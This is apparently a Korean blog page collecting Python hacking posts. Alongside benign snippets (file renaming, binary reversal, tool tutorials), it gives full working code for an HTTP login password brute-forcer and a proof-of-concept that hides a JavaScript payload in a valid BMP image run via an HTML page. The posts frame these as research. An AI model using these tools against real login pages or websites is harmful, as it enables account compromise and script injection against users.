파이썬 해킹 입문
[파이썬 해킹 입문 구매하기] 파이썬을 해킹도구로서 사용하기 위한 입문서다.. 앞 부분에는 해킹에 대한 전반적인 개요를 설명하고, 간단히 파이썬 문법을 설명 후, 각 영역별(어플리케이션 해킹, 웹 해킹, 네트워크 해킹, 시스템 해킹)로 파이썬으로 작성한 해킹도구를 조목조목 잘 설명해준다. (그림도 있어 이해하기 … Continue reading
[파이썬 해킹 입문 구매하기] 파이썬을 해킹도구로서 사용하기 위한 입문서다.. 앞 부분에는 해킹에 대한 전반적인 개요를 설명하고, 간단히 파이썬 문법을 설명 후, 각 영역별(어플리케이션 해킹, 웹 해킹, 네트워크 해킹, 시스템 해킹)로 파이썬으로 작성한 해킹도구를 조목조목 잘 설명해준다. (그림도 있어 이해하기 … Continue reading
Notice : 해당 자료가 저작권등에 의해서 문제가 있다면 바로 삭제하겠습니다. 연구목적으로 사용하지 않고 악의적인 목적으로 이용할 경우 발생할 수 있는 법적은 책임은 모두 본인에게 있습니다. 파일의 확장자 변경
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
# -*- coding:utf-8 -*- import os, sys, optparse def main(): parser = optparse.OptionParser('usage changeExt.py -s <source ext> -d <dest ext>') parser.add_option('-s', dest='srcext', type='string', help='source ext') parser.add_option('-d', dest='destext', type='string', help='dest ext') (options, args) = parser.parse_args() srcext = options.srcext destext = options.destext if (srcext == None) | (destext == None): print parser.usage exit(0) for base, dirs, names in os.walk("./"): for name in names: if os.path.splitext(name)[1].lower() == "."+srcext : src = os.path.join(base, name) dest = os.path.splitext(src)[0]+"."+destext #print src #print dest os.rename(src, dest) if __name__ == '__main__': main() |
사용법
1 2 3 4 5 |
$ python changeExt.py usage changeExt.py -s <source ext> -d <dest ext> # smali 확장자를 java으로 변경 $ python changeExt.py -s smali -d java |
Notice : 해당 자료가 저작권등에 의해서 문제가 있다면 바로 삭제하겠습니다. 연구목적으로 사용하지 않고 악의적인 목적으로 이용할 경우 발생할 수 있는 법적은 책임은 모두 본인에게 있습니다. python brute force http, https with proxy
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 |
# -*- coding: utf-8 -*- import urllib, urllib2, optparse, time opener = urllib2.build_opener( urllib2.HTTPHandler(), urllib2.HTTPSHandler(), urllib2.ProxyHandler({'http': 'http://proxy_url:port', 'https': 'http://proxy_url:port'})) urllib2.install_opener(opener) def post_request(url, params) : param = urllib.urlencode(params) request = urllib2.Request(url, param) response = urllib2.urlopen(request) response_info = response.info() response_html = response.read() response.close() if response_html.find('用'.decode('gb2312').encode('utf-8'), 0, 100) : print(" .") else : print("found password!!") def get_request(url) : response = urllib2.urlopen(url) response_info = response.info() response_html = response.read() response.close() def main(): parser = optparse.OptionParser('usage bf.py -f passwordfile') parser.add_option('-f', dest='filename', type='string', help='input file') (options, args) = parser.parse_args() filename = options.filename if filename == None : print parser.usage exit(0) f = file(filename, 'r') while True: line = f.readline() if not line : # file end break else : print ("passwd : " + line.rstrip('\n')) post_url = "https://target.domain/path/login.action" post_params = { 'paraam1':'test', 'UserId':'admin', 'UserPass':line.rstrip('\n') } post_request(post_url, post_params) time.sleep(1) if __name__ == '__main__': main() |
Notice : 해당 자료가 저작권등에 의해서 문제가 있다면 바로 삭제하겠습니다. 연구목적으로 사용하지 않고 악의적인 목적으로 이용할 경우 발생할 수 있는 법적은 책임은 모두 본인에게 있습니다. Python 윈도우용 실행파일(exe) 만들기 (py2exe) 작성한 python 프로그램을 배포하는 방법에는 여러가지가 있지만, Python이 설치되어 … Continue reading
Notice : 해당 자료가 저작권등에 의해서 문제가 있다면 바로 삭제하겠습니다. 연구목적으로 사용하지 않고 악의적인 목적으로 이용할 경우 발생할 수 있는 법적은 책임은 모두 본인에게 있습니다. Python GUI 프로그램 만들기(wxpython) wxpython 은 간단하고 쉽게 Graphical User Interface 를 구성할수 있는 … Continue reading
Notice : 해당 자료가 저작권등에 의해서 문제가 있다면 바로 삭제하겠습니다. 연구목적으로 사용하지 않고 악의적인 목적으로 이용할 경우 발생할 수 있는 법적은 책임은 모두 본인에게 있습니다. binary를 뒤집는 python code
1 2 3 4 5 6 7 8 9 10 11 12 |
import sys, binascii f=open(sys.argv[1], 'rb') data=f.read() f.close() tmp = binascii.hexlify(data) print type(tmp) output = open(sys.argv[1] + '-output','wb') output.write(binascii.unhexlify(tmp[::-1])) #output.write(''.join(reversed(tmp))) output.close() |
Notice : 해당 자료가 저작권등에 의해서 문제가 있다면 바로 삭제하겠습니다. 연구목적으로 사용하지 않고 악의적인 목적으로 이용할 경우 발생할 수 있는 법적은 책임은 모두 본인에게 있습니다. bmp 이미지안에 스크립크 삽입
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 |
#!/usr/bin/env python2 #==============================================================================# #======= Simply injects a JavaScript Payload into a BMP. ===========================# #======= The resulting BMP must be a valid (not corrupted) BMP. ====================# #======= Author: marcoramilli.blogspot.com =======================================# #======= Version: PoC (don't even think to use it in development env.) ================# #======= Disclaimer: ============================================================# #THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR #IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED #WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE #DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, #INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES #(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR #SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) #HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, #STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING #IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE #POSSIBILITY OF SUCH DAMAGE. #==============================================================================# import argparse import os #--------------------------------------------------------- def _hexify(num): """ Converts and formats to hexadecimal """ num = "%x" % num if len(num) % 2: num = '0'+num return num.decode('hex') #--------------------------------------------------------- #Example payload: "var _0xe428=[\""+ b'\x48\x65\x6C\x6C\x6F\x20\x57\x6F\x72\x6C\x64' + "\"] #;alert(_0xe428[0]);" def _generate_and_write_to_file(payload, fname): """ Generates a fake but valid BMP within scriting """ f = open(fname, "wb") header = (b'\x42\x4D' #Signature BM b'\x2F\x2A\x00\x00' #Header File size, but encoded as /* <-- Yes it's a valid header b'\x00\x00\x00\x00' #Reserved b'\x00\x00\x00\x00' #bitmap data offset b''+ _hexify( len(payload) ) + #bitmap header size b'\x00\x00\x00\x14' #width 20pixel .. it's up to you b'\x00\x00\x00\x14' #height 20pixel .. it's up to you b'\x00\x00' #nb_plan b'\x00\x00' #nb per pixel b'\x00\x10\x00\x00' #compression type b'\x00\x00\x00\x00' #image size .. its ignored b'\x00\x00\x00\x01' #Horizontal resolution b'\x00\x00\x00\x01' #Vertial resolution b'\x00\x00\x00\x00' #number of colors b'\x00\x00\x00\x00' #number important colors b'\x00\x00\x00\x80' #palet colors to be complient b'\x00\x80\xff\x80' #palet colors to be complient b'\x80\x00\xff\x2A' #palet colors to be complient b'\x2F\x3D\x31\x3B' #*/=1; ) # I made this explicit, step by step . f.write(header) f.write(payload) f.close() return True #--------------------------------------------------------- def _generate_launching_page(f): """ Creates the HTML launching page """ htmlpage =""" <html> <head><title>Opening an image</title> </head> <body> <img src=\"""" + f + """\"\> <script src= \"""" + f + """\"> </script> </body> </html> """ html = open("run.html", "wb") html.write(htmlpage); html.close() return True #--------------------------------------------------------- def _inject_into_file(payload, fname): """ Injects the payload into existing BMP NOTE: if the BMP contains \xFF\x2A might caouse issues """ # I know, I can do it all in memory and much more fast. # I wont do it here. f = open(fname, "r+b") b = f.read() b.replace(b'\x2A\x2F',b'\x00\x00') f.close() f = open(fname, "w+b") f.write(b) f.seek(2,0) f.write(b'\x2F\x2A') f.close() f = open(fname, "a+b") f.write(b'\xFF\x2A\x2F\x3D\x31\x3B') f.write(payload) f.close() return True #--------------------------------------------------------- if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("filename",help="the bmp file name to be generated/or infected") parser.add_argument("js_payload",help="the payload to be injected. For exmample: \"alert(\"test\");\"") parser.add_argument("-i", "--inject-to-existing-bmp", action="store_true", help="inject into the current bitmap") args = parser.parse_args() print(""" |======================================================================================================| | [!] legal disclaimer: usage of this tool for injecting malware to be propagated is illegal. | | It is the end user's responsibility to obey all applicable local, state and federal laws. | | Authors assume no liability and are not responsible for any misuse or damage caused by this program | |======================================================================================================| """) if args.inject_to_existing_bmp: _inject_into_file(args.js_payload, args.filename) else: _generate_and_write_to_file(args.js_payload, args.filename) _generate_launching_page(args.filename) print "[+] Finished!" |
사용법
1 |
bmp_script_injection.py -i test.bmp "alert('bmp script injection test');" |
먼저 생성된 run.html 소스를 보면, script에 bmp … Continue reading
Notice : 해당 자료가 저작권등에 의해서 문제가 있다면 바로 삭제하겠습니다. 연구목적으로 사용하지 않고 악의적인 목적으로 이용할 경우 발생할 수 있는 법적은 책임은 모두 본인에게 있습니다. 해당 도메인의 DNS 정보를 가져오는 스크립트를 작성해보았다.. 이 스크립트를 사용하기 위해서는 dnspython(http://www.dnspython.org/) 모듈을 설치해야 … Continue reading
참고 : http://flask.pocoo.org/docs/installation/ 1. Flask 개발을 위한 환경 설정 Flask는 Werkzeug 와 Jinja2 라이브러리에 의존적 Werkzeug는 웹어플리케이션과 다양한 서버 사이의 개발과 배포를 위한 표준 파이썬 인터페이스인 WSGI를 구현한 툴킷 Jinja2 는 HTML 템플릿을 렌더링 하는 템플릿 엔진 1.1. python … Continue reading
Notice : 해당 자료가 저작권등에 의해서 문제가 있다면 바로 삭제하겠습니다. 연구목적으로 사용하지 않고 악의적인 목적으로 이용할 경우 발생할 수 있는 법적은 책임은 모두 본인에게 있습니다. [구매하기] 해커의 언어, 치명적 파이썬 – CHAPTER 1 소개 해커의 언어, 치명적 파이썬 – … Continue reading